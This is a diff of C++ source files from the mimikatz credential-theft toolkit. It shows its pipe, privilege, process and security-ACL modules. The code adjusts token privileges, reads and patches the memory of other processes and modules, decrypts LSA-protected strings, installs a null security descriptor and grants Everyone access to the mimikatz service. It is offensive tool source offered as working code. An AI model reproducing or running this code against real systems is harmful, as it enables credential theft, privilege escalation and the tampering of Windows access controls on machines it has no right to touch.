static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL);
static bool checkVersion(KIWI_OS_CHECK * monOsValide);
static bool checkVersion(OS monOsValide);
static bool checkVersion(vector<OS> * vectorValid);
static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0);
static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0);
};

View File

@ -0,0 +1,121 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_pipe.h"
mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\")
{
pipePath.append(serveur);
pipePath.append(L"\\pipe\\");
pipePath.append(pipeName);
}
mod_pipe::~mod_pipe(void)
{
closePipe();
}
bool mod_pipe::closePipe()
{
bool reussite = false;
if(hPipe != INVALID_HANDLE_VALUE && hPipe)
{
FlushFileBuffers(hPipe);
DisconnectNamedPipe(hPipe);
reussite = CloseHandle(hPipe) == TRUE;
}
return reussite;
}
bool mod_pipe::readFromPipe(wstring &laReponse)
{
bool reussite = false;
wchar_t monBuffer[128];
bool fSuccess;
DWORD longueurReponse;
laReponse.clear();
do
{
fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false;
if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */)
{
laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t));
}
else
{
break;
}
} while (!fSuccess);
return reussite;
}
bool mod_pipe::writeToPipe(const wstring &leMessage)
{
bool reussite = false;
DWORD longueurMessage;
DWORD longueurOctetsEcris;
longueurMessage = (static_cast<DWORD>(leMessage.size())) * sizeof(wchar_t);
if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris)
{
reussite = FlushFileBuffers(hPipe) != 0;
}
return reussite;
}
bool mod_pipe::createServer()
{
bool reussite = false;
if(!hPipe || hPipe == INVALID_HANDLE_VALUE)
{
hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL);
if (hPipe && hPipe != INVALID_HANDLE_VALUE)
{
reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
}
else
{
closePipe();
}
}
return reussite;
}
bool mod_pipe::createClient()
{
bool reussite = false;
if(!hPipe || hPipe == INVALID_HANDLE_VALUE)
{
if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT))
{
hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hPipe != INVALID_HANDLE_VALUE)
{
DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT;
if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0))
{
closePipe();
}
}
}
}
return reussite;
}
bool mod_pipe::isConnected()
{
return (hPipe && hPipe != INVALID_HANDLE_VALUE);
}

View File

@ -0,0 +1,29 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
class mod_pipe
{
private:
HANDLE hPipe;
wstring pipePath;
public:
mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L".");
virtual ~mod_pipe(void);
bool closePipe();
bool readFromPipe(wstring &laReponse);
bool writeToPipe(const wstring &leMessage);
bool createServer();
bool createClient();
bool isConnected();
};

View File

@ -0,0 +1,95 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_privilege.h"
bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName)
{
bool reussite = false;
DWORD tailleRequise = 0;
if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
wchar_t * monBuffer = new wchar_t[tailleRequise];
if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0))
{
privilegeName->assign(monBuffer);
}
delete[] monBuffer;
}
return reussite;
}
bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege)
{
return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0);
}
bool mod_privilege::get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess)
{
bool reussite = false;
HANDLE hToken = INVALID_HANDLE_VALUE;
if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken))
{
DWORD tailleRequise = 0;
BYTE * monBuffer;
if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
monBuffer = new BYTE[tailleRequise];
if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0))
{
TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer);
for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++)
{
wstring * monPrivilege = new wstring();
if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege))
{
maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes));
}
delete monPrivilege;
}
}
delete[] monBuffer;
}
}
return reussite;
}
bool mod_privilege::set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess)
{
bool reussite = false;
BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])];
TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer);
mesPrivileges->PrivilegeCount = static_cast<DWORD>(maPrivilegesvector->size());
unsigned int i;
vector<pair<wstring, DWORD>>::iterator monPrivilege;
for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++)
{
if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid)))
{
mesPrivileges->Privileges[i].Attributes = monPrivilege->second;
}
else
{
break;
}
}
if(reussite)
{
HANDLE hToken = INVALID_HANDLE_VALUE;
if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0))
{
reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast<TOKEN_PRIVILEGES *>(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS);
}
}
delete monBuffer;
return reussite;
}

View File

@ -0,0 +1,18 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
class mod_privilege
{
private:
static bool getName(PLUID idPrivilege, wstring * privilegeName);
static bool getValue(wstring * privilegeName, PLUID idPrivilege);
public:
static bool get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE);
static bool set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE);
};

View File

@ -0,0 +1,473 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_process.h"
bool mod_process::getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName)
{
HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessesSnapshot != INVALID_HANDLE_VALUE)
{
PROCESSENTRY32 monProcessus;
monProcessus.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessesSnapshot, &monProcessus))
{
do
{
if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0))
{
KIWI_PROCESSENTRY32 monProcessK = {
monProcessus.dwSize,
monProcessus.cntUsage,
monProcessus.th32ProcessID,
monProcessus.th32DefaultHeapID,
monProcessus.th32ModuleID,
monProcessus.cntThreads,
monProcessus.th32ParentProcessID,
monProcessus.pcPriClassBase,
monProcessus.dwFlags,
monProcessus.szExeFile
};
maProcessesvector->push_back(monProcessK);
}
} while(Process32Next(hProcessesSnapshot, &monProcessus));
}
CloseHandle(hProcessesSnapshot);
return true;
}
else
{
return false;
}
}
bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName)
{
bool reussite = false;
vector<KIWI_PROCESSENTRY32> * mesProcesses = new vector<KIWI_PROCESSENTRY32>();
if(getList(mesProcesses, processName))
{
if(reussite = (mesProcesses->size() == 1))
{
*monProcess = mesProcesses->front();
}
}
delete mesProcesses;
return reussite;
}
bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId)
{
bool reussite = false;
vector<KIWI_MODULEENTRY32> * monVecteurDeModule = new vector<KIWI_MODULEENTRY32>();
if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId))
{
if(!moduleName)
{
*monModule = *(monVecteurDeModule->begin());
reussite = true;
}
else
{
for(vector<KIWI_MODULEENTRY32>::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++)
{
if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0)
{
*monModule = *leModule;
reussite = true;
break;
}
}
}
}
delete monVecteurDeModule;
return reussite;
}
bool mod_process::getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId)
{
HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0));
if(hModuleSnapshot != INVALID_HANDLE_VALUE)
{
MODULEENTRY32 monModule;
monModule.dwSize = sizeof(MODULEENTRY32);
if(Module32First(hModuleSnapshot, &monModule))
{
do
{
KIWI_MODULEENTRY32 monModuleK = {
monModule.dwSize,
monModule.th32ModuleID,
monModule.th32ProcessID,
monModule.GlblcntUsage,
monModule.ProccntUsage,
monModule.modBaseAddr,
monModule.modBaseSize,
monModule.hModule,
monModule.szModule,
monModule.szExePath
};
maModulevector->push_back(monModuleK);
} while(Module32Next(hModuleSnapshot, &monModule));
}
CloseHandle(hModuleSnapshot);
return true;
}
else
{
return false;
}
}
bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken)
{
bool reussite = false;
RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION));
STARTUPINFO mesInfosDemarrer;
RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO));
mesInfosDemarrer.cb = sizeof(STARTUPINFO);
wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1];
maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size());
commandLine[maCommandLine->size()] = L'\0';
DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL);
if(leToken)
reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
else if(aUsurper)
reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
else
reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
delete[] commandLine;
return reussite;
}
bool mod_process::suspend(DWORD & processId)
{
bool reussite = false;
if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast<PNT_SUSPEND_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess")))
{
HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId);
if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
{
reussite = NT_SUCCESS(NtSuspendProcess(monHandle));
CloseHandle(monHandle);
}
}
return reussite;
}
bool mod_process::resume(DWORD & processId)
{
bool reussite = false;
if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast<PNT_RESUME_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess")))
{
HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId);
if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
{
reussite = NT_SUCCESS(NtResumeProcess(monHandle));
CloseHandle(monHandle);
}
}
return reussite;
}
bool mod_process::stop(DWORD & processId, DWORD exitCode)
{
bool reussite = false;
HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId);
if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
{
reussite = (TerminateProcess(monHandle, exitCode) != 0);
CloseHandle(monHandle);
}
return reussite;
}
bool mod_process::debug(DWORD & processId)
{
return (DebugActiveProcess(processId) != 0);
}
bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle)
{
bool reussite = false;
if(processHandle == INVALID_HANDLE_VALUE)
processHandle = GetCurrentProcess();
if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast<PNT_QUERY_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess")))
{
ULONG sizeReturn;
reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION));
}
return reussite;
}
bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId)
{
bool reussite = false;
HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId);
if(handleProcess && handleProcess != INVALID_HANDLE_VALUE)
{
HANDLE handleProc;
if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0)
{
DWORD ddNeededSize;
TOKEN_STATISTICS tokenStats;
if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0))
{
AuthentificationId = tokenStats.AuthenticationId;
}
CloseHandle(handleProc);
}
CloseHandle(handleProcess);
}
return reussite;
}
bool mod_process::getPeb(PEB * peb, HANDLE processHandle)
{
bool reussite = false;
PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION();
if(getProcessBasicInformation(mesInfos, processHandle))
{
reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle);
}
delete mesInfos;
return reussite;
}
bool mod_process::getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess)
{
bool reussite = false;
BYTE * baseAddr = ptrBaseAddr;
BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)];
if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess))
{
PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(ayIMAGE_DOS_HEADER);
if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)];
if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess))
{
PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(ayIMAGE_NT_HEADERS);
if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE)
{
if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0)
{
BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size];
if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess))
{
PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(ayIMAGE_IMPORT_DESCRIPTOR);
if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)))
{
while(structImportDesc->Characteristics)
{
DWORD i = 0;
BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)];
BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)];
vector<KIWI_IAT_MODULE> mesImports;
for(;;)
{
if(
mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess)
&&
mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess)
)
{
PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_HintName);
PIMAGE_THUNK_DATA IATArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_IAT);
if(HintNameArray->u1.Function)
{
KIWI_IAT_MODULE imageIAT = {
baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function),
reinterpret_cast<PVOID>(IATArray->u1.Function),
0,
string()
};
if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal);
}
else
{
BYTE monTab[] = {0};
long offsetToNull;
if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess))
{
BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull];
if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess))
{
PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(ayIMAGE_IMPORT_BY_NAME);
imageIAT.funcName = string(reinterpret_cast<char *>(nameImg->Name));
}
delete [] ayIMAGE_IMPORT_BY_NAME;
}
}
mesImports.push_back(imageIAT);
i++;
}
else break;
}
else break;
}
delete[] ayIMAGE_THUNK_DATA_IAT;
delete[] ayIMAGE_THUNK_DATA_HintName;
BYTE monTab[] = {0};
long offsetToNull;
if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess))
{
char * maLib = new char[offsetToNull+1];
if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess))
{
monIAT->push_back(make_pair(string(maLib), mesImports));
}
delete [] maLib;
}
structImportDesc++;
}
}
}
delete[] ayIMAGE_IMPORT_DESCRIPTOR;
}
}
}
delete[] ayIMAGE_NT_HEADERS;
}
}
delete[] ayIMAGE_DOS_HEADER;
return reussite;
}
bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess)
{
bool reussite = false;
bool tabOk = false;
vector<mod_process::KIWI_PROCESSENTRY32> * monTab;
if(!mesProcess)
{
monTab = new vector<mod_process::KIWI_PROCESSENTRY32>();
tabOk = mod_process::getList(monTab);
}
else
{
monTab = mesProcess;
}
if(mesProcess || tabOk)
{
for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++)
{
if(reussite = (monProcess->th32ProcessID == processId))
{
*processKiwi = *monProcess;
break;
}
}
}
if(!mesProcess)
{
delete monTab;
}
return reussite;
}
bool mod_process::getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle)
{
bool reussite = false;
PEB * monPeb = new PEB();
if(getPeb(monPeb, processHandle))
{
__PEB_LDR_DATA * monLoader = new __PEB_LDR_DATA();
if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(__PEB_LDR_DATA), processHandle))
{
PBYTE aLire, fin;
__LDR_DATA_TABLE_ENTRY monEntry;
for(
aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(__LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks),
fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(__PEB_LDR_DATA, InLoadOrderModulevector);
aLire != fin;
aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(__LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)
)
{
if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle))
{
KIWI_VERY_BASIC_MODULEENTRY monModule = {
reinterpret_cast<PBYTE>(monEntry.DllBase),
monEntry.SizeOfImage,
getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle)
};
monModuleVector->push_back(monModule);
}
}
}
delete monLoader;
}
delete monPeb;
return reussite;
}
wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction)
{
wstring maChaine;
BYTE * monBuffer = NULL;
if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction))
{
maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length));
}
if(monBuffer)
delete[] monBuffer;
return maChaine;
}
bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction)
{
bool resultat = false;
if(ptrString->Buffer && (ptrString->Length > 0))
{
*monBuffer = new BYTE[ptrString->MaximumLength];
if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process))
{
if(unProtectFunction)
unProtectFunction(*monBuffer, ptrString->MaximumLength);
}
}
return resultat;
}

View File

@ -0,0 +1,84 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "secpkg.h"
#include "mod_ntddk.h"
#include "mod_memory.h"
#include "mod_text.h"
#include <security.h>
#include <tlhelp32.h>
class mod_process
{
public:
typedef struct _KIWI_IAT_MODULE
{
PVOID ptrToFunc;
PVOID ptrFunc;
WORD Ordinal;
string funcName;
} KIWI_IAT_MODULE, *PKIWI_IAT_MODULE;
typedef struct _KIWI_PROCESSENTRY32
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // this process
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID; // associated exe
DWORD cntThreads;
DWORD th32ParentProcessID; // this process's parent process
LONG pcPriClassBase; // Base priority of process's threads
DWORD dwFlags;
wstring szExeFile; // Path
} KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32;
typedef struct _KIWI_MODULEENTRY32
{
DWORD dwSize;
DWORD th32ModuleID; // This module
DWORD th32ProcessID; // owning process
DWORD GlblcntUsage; // Global usage count on the module
DWORD ProccntUsage; // Module usage count in th32ProcessID's context
BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
HMODULE hModule; // The hModule of this module in th32ProcessID's context
wstring szModule;
wstring szExePath;
} KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32;
typedef struct _KIWI_VERY_BASIC_MODULEENTRY
{
BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
wstring szModule;
} KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY;
static bool getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName = NULL);
static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName);
static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL);
static bool suspend(DWORD & processId);
static bool resume(DWORD & processId);
static bool stop(DWORD & processId, DWORD exitCode = 0);
static bool debug(DWORD & processId);
static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId);
static bool getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId = NULL);
static bool getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE);
static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL);
static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = NULL);
static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE);
static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE);
static bool getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE);
static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL);
static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL);
};

View File

@ -0,0 +1,162 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_secacl.h"
bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType)
{
PSECURITY_DESCRIPTOR newSD = NULL;
ULONG laTaille;
bool succes = false;
if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS)
{
switch(monType)
{
case SE_KERNEL_OBJECT:
succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0;
break;
case SE_SERVICE:
succes = SetServiceObjectSecurity(*reinterpret_cast<SC_HANDLE *>(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0;
break;
}
LocalFree(newSD);
}
return succes;
}
bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle)
{
bool reussite = false;
DWORD dwSizeNeeded = 0;
SECURITY_DESCRIPTOR monSd;
if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
{
PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded];
if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded))
{
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
PSID pEveryoneSID = NULL;
if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
{
EXPLICIT_ACCESS ForEveryOne;
RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS));
ForEveryOne.grfAccessMode = SET_ACCESS;
ForEveryOne.grfInheritance = NO_INHERITANCE;
